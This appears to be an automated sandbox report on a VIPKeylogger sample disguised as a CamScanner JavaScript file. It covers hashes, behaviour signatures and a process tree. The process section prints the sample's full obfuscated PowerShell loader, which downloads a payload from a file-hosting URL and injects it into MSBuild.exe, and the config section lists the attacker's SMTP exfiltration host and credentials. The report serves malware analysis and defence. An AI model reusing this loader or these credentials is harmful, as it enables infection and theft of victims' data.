Analysis
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max time kernel
432s -
max time network
433s -
platform
windows10-2004_x64 -
resource
win10v2004-20250217-en -
resource tags
arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system -
submitted
18/02/2025, 13:35
Static task
static1
Behavioral task
behavioral1
Sample
CamScanner 02-13-20251913.js
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
CamScanner 02-13-20251913.js
Resource
win10v2004-20250217-en
General
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Target
CamScanner 02-13-20251913.js
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Size
311KB
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MD5
0f46741439a8c946516d94701cf79880
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SHA1
87f08d8468836229b17cba9038057c2063a70435
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SHA256
033b8f0ed742cf0b279f710c47496a522a338da63d16007395e9d409271ee77e
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SHA512
c92e96c6bd661d558a1070a8fc855e418c6ff4decb27f2e52a0069bf02dd76887e7eac1f3a05906693eb25f21fa9d5c13476104bca160ad8290b469a940c4441
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SSDEEP
3072:5vJ5HovJ5HovJ5HovJ5H7vJ5HovJ5HovJ5HovJ5H4vJ5HovJ5HovJ5HovJ5H8RTP:6Px1L
Malware Config
Extracted
https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d
https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d
Extracted
Protocol: smtp- Host:
142.171.169.81 - Port:
587 - Username:
[email protected] - Password:
!z34db8K4
Extracted
vipkeylogger
Protocol: smtp- Host:
142.171.169.81 - Port:
587 - Username:
[email protected] - Password:
!z34db8K4 - Email To:
[email protected]
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Blocklisted process makes network request 2 IoCs
flow pid Process 4 4820 powershell.exe 7 4820 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1479699283-3000499823-2337359760-1000\Control Panel\International\Geo\Nation wscript.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1479699283-3000499823-2337359760-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 MSBuild.exe Key opened \REGISTRY\USER\S-1-5-21-1479699283-3000499823-2337359760-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 MSBuild.exe Key opened \REGISTRY\USER\S-1-5-21-1479699283-3000499823-2337359760-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 MSBuild.exe -
pid Process 4820 powershell.exe -
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 9 checkip.dyndns.org 11 reallyfreegeoip.org 12 reallyfreegeoip.org -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4820 set thread context of 4228 4820 powershell.exe 91 -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 4820 powershell.exe 4820 powershell.exe 4820 powershell.exe 4820 powershell.exe 4820 powershell.exe 4820 powershell.exe 4228 MSBuild.exe 4228 MSBuild.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4820 powershell.exe Token: SeDebugPrivilege 4228 MSBuild.exe -
Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 1556 wrote to memory of 4820 1556 wscript.exe 86 PID 1556 wrote to memory of 4820 1556 wscript.exe 86 PID 4820 wrote to memory of 5052 4820 powershell.exe 89 PID 4820 wrote to memory of 5052 4820 powershell.exe 89 PID 4820 wrote to memory of 5052 4820 powershell.exe 89 PID 4820 wrote to memory of 2928 4820 powershell.exe 90 PID 4820 wrote to memory of 2928 4820 powershell.exe 90 PID 4820 wrote to memory of 2928 4820 powershell.exe 90 PID 4820 wrote to memory of 4228 4820 powershell.exe 91 PID 4820 wrote to memory of 4228 4820 powershell.exe 91 PID 4820 wrote to memory of 4228 4820 powershell.exe 91 PID 4820 wrote to memory of 4228 4820 powershell.exe 91 PID 4820 wrote to memory of 4228 4820 powershell.exe 91 PID 4820 wrote to memory of 4228 4820 powershell.exe 91 PID 4820 wrote to memory of 4228 4820 powershell.exe 91 PID 4820 wrote to memory of 4228 4820 powershell.exe 91 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1479699283-3000499823-2337359760-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 MSBuild.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1479699283-3000499823-2337359760-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 MSBuild.exe
Processes
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C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\CamScanner 02-13-20251913.js"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1556 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$Sydney = 'oSTQy/sr.e#sap//:sp##h';$luncheon = $Sydney -replace '#', 't';$diazotrophs = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d';$phobia = New-Object System.Net.WebClient;$indemonstrable = $phobia.DownloadData($diazotrophs);$silveriest = [System.Text.Encoding]::UTF8.GetString($indemonstrable);$globule = '<<BASE64_START>>';$Fwiffo = '<<BASE64_END>>';$greenhew = $silveriest.IndexOf($globule);$doojigger = $silveriest.IndexOf($Fwiffo);$greenhew -ge 0 -and $doojigger -gt $greenhew;$greenhew += $globule.Length;$Jacqui = $doojigger - $greenhew;$autolysate = $silveriest.Substring($greenhew, $Jacqui);$andradite = [System.Convert]::FromBase64String($autolysate);$alkannin = [System.Reflection.Assembly]::Load($andradite);$fabiana = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($luncheon,'','','','MSBuild','','','','','','','','','',''))"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4820 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵PID:5052
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵PID:2928
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:4228
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82